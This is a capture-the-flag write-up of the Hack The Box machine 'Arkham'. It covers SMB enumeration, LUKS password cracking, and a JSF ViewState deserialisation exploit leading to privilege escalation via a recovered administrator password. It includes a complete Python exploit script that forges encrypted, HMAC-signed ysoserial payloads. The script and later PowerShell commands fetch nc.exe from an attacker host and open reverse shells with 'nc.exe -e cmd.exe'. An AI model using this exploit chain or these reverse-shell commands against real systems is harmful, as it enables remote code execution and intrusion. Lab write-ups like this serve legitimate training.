Arkham
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.228.116
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-23 02:31 EDT
Nmap scan report for 10.129.228.116
Host is up (0.023s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
49666/tcp open unknown
49667/tcp open unknown
Detailed scan:
$ nmap -p 80,135,139,445,8080 -sC -sV --min-rate 3000 10.129.228.116
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-23 02:33 EDT
Nmap scan report for 10.129.228.116
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8080/tcp open http Apache Tomcat 8.5.37
|_http-title: Mask Inc.
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
SMB Enum -> LUKS Image
smbmap
using guest
access returned some stuff:
$ smbmap -u 'guest' -p '' -H 10.129.228.116
[+] IP: 10.129.228.116:445 Name: 10.129.228.116
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
BatShare READ ONLY Master Wayne's secrets
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Users READ ONLY
There were 2 Shares I was interested in, Users
and BatShare
.
Users
didn't have much:
$ smbclient -U 'guest' //10.129.228.116/Users
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Feb 3 08:24:10 2019
.. DR 0 Sun Feb 3 08:24:10 2019
Default DHR 0 Thu Jan 31 21:49:06 2019
desktop.ini AHS 174 Sat Sep 15 03:16:48 2018
Guest D 0 Sun Feb 3 08:24:19 2019
The Guest
directory was just a completely normal directory. The BatShare
directory did have an interesting file however:
$ smbclient -U 'guest' //10.129.228.116/BatShare
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 3 08:00:10 2019
.. D 0 Sun Feb 3 08:00:10 2019
appserver.zip A 4046695 Fri Feb 1 01:13:37 2019
3871999 blocks of size 4096. 1106102 blocks available
I downloaded the file using get
, and unzipped it to find 2 files:
$ unzip appserver.zip
Archive: appserver.zip
inflating: IMPORTANT.txt
inflating: backup.img
$ cat IMPORTANT.txt
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
$ file backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e, at 0x1000 data, 32 key bytes, MK digest 0x9a35ab3db2fe09d65a92bd015035a6abdcea0147, MK salt 0x36e88d002fb03c1fde4d9d7ba69c59257ae71dd7893d9cabefb6098ca87b8713, 176409 MK iterations; slot #0 active, 0x8 material offset
LUKS is the standard for Linux hard disk encryption. bruteforce-luks
is a tool that can be used to crack this password. I used rockyou.txt
as the wordlist:
$ bruteforce-luks -f /usr/share/wordlists/rockyou.txt -v 15 -t 10 -w state.txt backup.img
However, I soon realised that this method of brute-forcing was extremely slow and also super hard on my computer. Since this entire box was Batman themed, I created a sub-wordlist using grep
:
$ grep batman /usr/share/wordlists/rockyou.txt > pass_bat.txt
This is much quicker and finds the password quickly.
$ bruteforce-luks -f pass_bat.txt -v 15 -t 10 -w state.txt backup.img
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.
Warning: can't open state file, state not restored, a new file will be created.
Tried passwords: 40
Tried passwords per second: 2.666667
Last tried password: batman27
Tried passwords: 60
Tried passwords per second: 2.608696
Last tried password: batman82
Password found: batmanforever
I can then use the password to decrypt and mount
it as per this post:
$ sudo cryptsetup open --type luks backup.img htbarkham
Enter passphrase for backup.img:
This appears in my /dev/mapper
directory:
$ ls -la
total 0
drwxr-xr-x 2 root root 80 Mar 23 02:47 .
drwxr-xr-x 17 root root 3440 Mar 23 02:47 ..
crw------- 1 root root 10, 236 Mar 23 02:30 control
lrwxrwxrwx 1 root root 7 Mar 23 02:47 htbarkham -> ../dm-0
I created a directory within /mnt
and mounted it there:
$ sudo mount /dev/mapper/htbarkham /mnt/htbarkham
$ ls -la /mnt/htbarkham
total 18
drwxr-xr-x 4 root root 1024 Dec 25 2018 .
drwxr-xr-x 3 root root 4096 Mar 23 02:48 ..
drwx------ 2 root root 12288 Dec 25 2018 lost+found
drwxrwxr-x 4 root root 1024 Dec 25 2018 Mask
Within the Mask
directory, there there looked to be some application files for the Tomcat instance:
$ ls -la
total 882
drwxrwxr-x 4 root root 1024 Dec 25 2018 .
drwxr-xr-x 4 root root 1024 Dec 25 2018 ..
drwxr-xr-x 2 root root 1024 Dec 25 2018 docs
-rw-rw-r-- 1 root root 96978 Dec 25 2018 joker.png
-rw-rw-r-- 1 root root 105374 Dec 25 2018 me.jpg
-rw-rw-r-- 1 root root 687160 Dec 25 2018 mycar.jpg
-rw-rw-r-- 1 root root 7586 Dec 25 2018 robin.jpeg
drwxr-xr-x 2 root root 1024 Dec 25 2018 tomcat-stuff
Web + File Enum -> Deserialisation
Before proceeding into enumerating the Tomcat instance, I should probably find it first.
Port 8080 hosted a website promoting a masking service:

The site was rather static, so I ran a gobuster
scan on this, which returned nothing useful.
Taking a look at the page source, I found that there was some userSubscribe.faces
endpoint:

This returned me to this page:

I can sign up with any string:

The request that it send was rather interesting. Here are the POST request parameters:

Lots of mentioning of JSP, and the .faces
extension means that this uses JavaServer.Faces.

Interesting. Within the Tomcat folder, there was just a bunch of .xml
files:
$ ll
total 191
-rw-r--r-- 1 root root 1368 Dec 25 2018 context.xml
-rw-r--r-- 1 root root 832 Dec 25 2018 faces-config.xml
-rw-r--r-- 1 root root 1172 Dec 25 2018 jaspic-providers.xml
-rw-r--r-- 1 root root 39 Dec 25 2018 MANIFEST.MF
-rw-r--r-- 1 root root 7678 Dec 25 2018 server.xml
-rw-r--r-- 1 root root 2208 Dec 25 2018 tomcat-users.xml
-rw-r--r-- 1 root root 174021 Dec 25 2018 web.xml
-rw-r--r-- 1 root root 3498 Dec 25 2018 web.xml.bak
Out of all of these the web.xml.bak
file was the most interesting, since it looked like it really didn't belong there. The file contained a lot of settings:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
id="WebApp_ID" version="2.5">
<display-name>HelloWorldJSF</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
<welcome-file>default.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>Faces Servlet</servlet-name>
<servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.faces</url-pattern>
</servlet-mapping>
<context-param>
<param-name>javax.servlet.jsp.jstl.fmt.localizationContext</param-name>
<param-value>resources.application</param-value>
</context-param>
<context-param>
<description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
<description>
This parameter tells MyFaces if javascript code should be allowed in
the rendered HTML output.
If javascript is allowed, command_link anchors will have javascript code
that submits the corresponding form.
If javascript is not allowed, the state saving info and nested parameters
will be added as url parameters.
Default is 'true'</description>
<param-name>org.apache.myfaces.ALLOW_JAVASCRIPT</param-name>
<param-value>true</param-value>
</context-param>
<context-param>
<description>
If true, rendered HTML code will be formatted, so that it is 'human-readable'
i.e. additional line separators and whitespace will be written, that do not
influence the HTML code.
Default is 'true'</description>
<param-name>org.apache.myfaces.PRETTY_HTML</param-name>
<param-value>true</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.DETECT_JAVASCRIPT</param-name>
<param-value>false</param-value>
</context-param>
<context-param>
<description>
If true, a javascript function will be rendered that is able to restore the
former vertical scroll on every request. Convenient feature if you have pages
with long lists and you do not want the browser page to always jump to the top
if you trigger a link or button action that stays on the same page.
Default is 'false'
</description>
<param-name>org.apache.myfaces.AUTO_SCROLL</param-name>
<param-value>true</param-value>
</context-param>
<context-param>
<param-name>com.sun.faces.numberOfViewsInSession</param-name>
<param-value>500</param-value>
</context-param>
<context-param>
<param-name>com.sun.faces.numberOfLogicalViews</param-name>
<param-value>500</param-value>
</context-param>
<listener>
<listener-class>org.apache.myfaces.webapp.StartupServletContextListener</listener-class>
</listener>
</web-app>
The thing I noted was the mentioning of a SECRET
, MAC_SECRET
and MAC_ALGORITHM
. When searching for exploits for JSF, there were a lot of results that mentioned Deserialisation.
Based on the above article, it exploits the serialised Java object named the ViewState
. In the case for this machine, it is user-controlled since it appeared in the POST parameters for the subscription.
So deserialisation is the RCE vector for the box!
Exploit Deserialistaion -> RCE
For JSF, there is default encryption using DES. Since there were some HMAC parameters given to me, I'm assuming I have to encrypt and sign the payload.
The secret decoded returns this:
$ echo SnNGOTg3Ni0= | base64 -d
JsF9876-
Firstly, I had to encrypt and then sign this. I used this repository's helper functions to do so:
Here's my code:
import base64
from hashlib import sha1
import hmac
import pyDes
import binascii
from urllib import parse
def hmac_signature(secret, string):
hashed = hmac.new(secret,string,sha1)
return hashed.digest()
def encryptDES_ECB(data, key):
k = pyDes.des(key, pyDes.ECB, IV=None, pad=None, padmode=pyDes.PAD_PKCS5)
d = k.encrypt(data)
assert k.decrypt(d, padmode=pyDes.PAD_PKCS5) == data
return d
def build_payload(payload, secret_key):
cipher = encryptDES_ECB(payload, secret_key)
hmac_digest = hmac_signature(secret_key, cipher)
b64_encrypted_payload = base64.b64encode(cipher + hmac_digest)
return parse.quote_plus(b64_encrypted_payload)
with open("dump_payload", "rb") as f:
payload = f.read()
f.close()
print(build_payload(payload, b'JsF9876-'))
The output from dump_payload
was created like so:
$ java -jar ysoserial-all.jar CommonsCollections5 "cmd.exe /c powershell -c wget 10.10.14.9/hiiamrce" > dump_payload
Then, I used the script above to generate the payload required:
$ python3 payload.py
o4swGdxTZXw1mKtPxFkjUuWrKOBMVnhQ7RbMizpCb4xVYti30eaLecyiLLU7plNhjPFRnShy4IlIzxo0JHimBY3Uq1igjemgy0Ki4udfDHCBAJC2Yt%2BEq3hlEwGdEWrah3tqcdo5Gxzenm%2BTobetH0%2BaG8%2BiCEB1RbCm7b%2FRwuOING
<TRUNCATED>
Afterwards, I replaced the ViewState
parameter within the POST request to get this:

RCE achieved! From here, I just have to use subprocess
to retrieve the payload, and then use requests
to get a shell.
Here's the final no-click exploit script for a reverse shell:
import base64
from hashlib import sha1
import hmac
import pyDes
import binascii
from urllib import parse
import requests
import os
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
url = "http://10.129.228.116:8080/userSubscribe.faces"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
key = b'JsF9876-'
def hmac_signature(secret, string):
hashed = hmac.new(secret,string,sha1)
return hashed.digest()
def encryptDES_ECB(data, key):
k = pyDes.des(key, pyDes.ECB, IV=None, pad=None, padmode=pyDes.PAD_PKCS5)
d = k.encrypt(data)
assert k.decrypt(d, padmode=pyDes.PAD_PKCS5) == data
return d
def build_payload(payload, secret_key):
cipher = encryptDES_ECB(payload, secret_key)
hmac_digest = hmac_signature(secret_key, cipher)
b64_encrypted_payload = base64.b64encode(cipher + hmac_digest)
return b64_encrypted_payload
def get_cereal(command):
final_cmd = 'java -jar ysoserial-all.jar CommonsCollections5 "{}" > cereal'.format(command)
os.system(final_cmd)
def download_nc():
get_cereal("cmd.exe /c powershell -c wget 10.10.14.9/nc.exe -Outfile C:/Windows/Tasks/nc.exe")
with open("cereal", "rb") as f:
unencrypted_payload = f.read()
f.close()
payload = build_payload(unencrypted_payload, key)
data = {
"j_id_jsp_1623871077_1%253Aemail": "t",
"j_id_jsp_1623871077_1%253Asubmit": "SIGN+UP",
"j_id_jsp_1623871077_1_SUBMIT": "1",
"javax.faces.ViewState": payload
}
r = requests.post(url, data=data, verify=False, proxies=proxies)
def trigger_nc():
get_cereal("cmd.exe /c C:/Windows/Tasks/nc.exe -e cmd.exe 10.10.14.9 4444")
with open("cereal", "rb") as f:
unencrypted_payload = f.read()
f.close()
payload = build_payload(unencrypted_payload, key)
data = {
"j_id_jsp_1623871077_1%3Aemail": "t",
"j_id_jsp_1623871077_1%3Asubmit": "SIGN UP",
"j_id_jsp_1623871077_1_SUBMIT": "1",
"javax.faces.ViewState": payload
}
r = requests.post(url, data=data, verify=False, proxies=proxies)
download_nc()
trigger_nc()
This gives me a shell to grab the user flag.

Privilege Escalation
Email Backup -> Admin Creds
There was a backups
directory within the Downloads folder for alfred
:
Directory of C:\Users\Alfred\Downloads
02/03/2019 08:48 AM <DIR> .
02/03/2019 08:48 AM <DIR> ..
02/03/2019 08:41 AM <DIR> backups
0 File(s) 0 bytes
3 Dir(s) 4,544,143,360 bytes free
Directory of C:\Users\Alfred\Downloads\backups
02/03/2019 08:41 AM <DIR> .
02/03/2019 08:41 AM <DIR> ..
02/03/2019 08:41 AM 124,257 backup.zip
1 File(s) 124,257 bytes
2 Dir(s) 4,544,081,920 bytes free
I downloaded this back to my machine via nc.exe
. When unzipped, this contained some kind of Microsoft Outlook file:
$ unzip backup.zip
Archive: backup.zip
inflating: alfred@arkham.local.ost
$ file alfred@arkham.local.ost
alfred@arkham.local.ost: Microsoft Outlook Offline Storage (>=2003, Unicode, version 36), dwReserved1=0x5c, dwReserved2=0x1f0596, bidUnused=0000000000000000, dwUnique=0x262, 16818176 bytes, CRC32 0xd67c7815
I used readpst
to read this file:
$ readpst alfred@arkham.local.ost
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
"Inbox" - 0 items done, 7 items skipped.
Processing Folder "Contacts"
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
"Calendar" - 0 items done, 3 items skipped.
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
"alfred@arkham.local.ost" - 15 items done, 0 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
"Sync Issues" - 3 items done, 0 items skipped.
"Drafts" - 1 items done, 0 items skipped.
This created a Drafts.mbox
file, and it contained a base64
encoded image:

I decoded this thing and viewed it:

Seems like I now have the password for batman
, which is Zx^#QZX+T!123
.
Checking batman
reveals that this user is an Administrator and part of the Remote Management Group.
User name Batman
Full Name
Comment
User's comment
Country/region code 001 (United States)
Account active Yes
Account expires Never
Password last set 2/3/2019 9:25:50 AM
Password expires Never
Password changeable 2/3/2019 9:25:50 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/23/2024 12:00:01 PM
Logon hours allowed All
Local Group Memberships *Administrators *Remote Management Use
*Users
Global Group memberships *None
The command completed successfully.
Using the credentials, I can attempt to use remote Powershell to execute commands.
$pass = ConvertTo-SecureString 'Zx^#QZX+T!123'-AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ('arkham\batman', $pass)
Invoke-command -computername ARKHAM -credential $credential -scriptblock { whoami }

Using this, I can get another shell as batman
via nc.exe
.
Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c powershell -c wget 10.10.14.9/nc64.exe -Outfile C:/windows/tasks/evil.exe }
Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c C:/windows/tasks/evil.exe -e cmd.exe 10.10.14.9 5555 }

Read Flag
For some reason, I was the Administrator but I was unable to read the root flag, and I did not have any administrator privileges:

I was stuck at this part for quite long. For some reason, there is a need to mount the C$
drive (I read a writeup for this):
C:\Users\Batman\Documents>net use Z: \\ARKHAM\C$
net use Z: \\ARKHAM\C$
The command completed successfully.
I can then switch to the Z:
drive to retrieve the flag.

I'm not sure why this is required. 0xdf's writeup mentions that this is running in Constrained mode, but I was a bit too lazy to exploit that :>
Last updated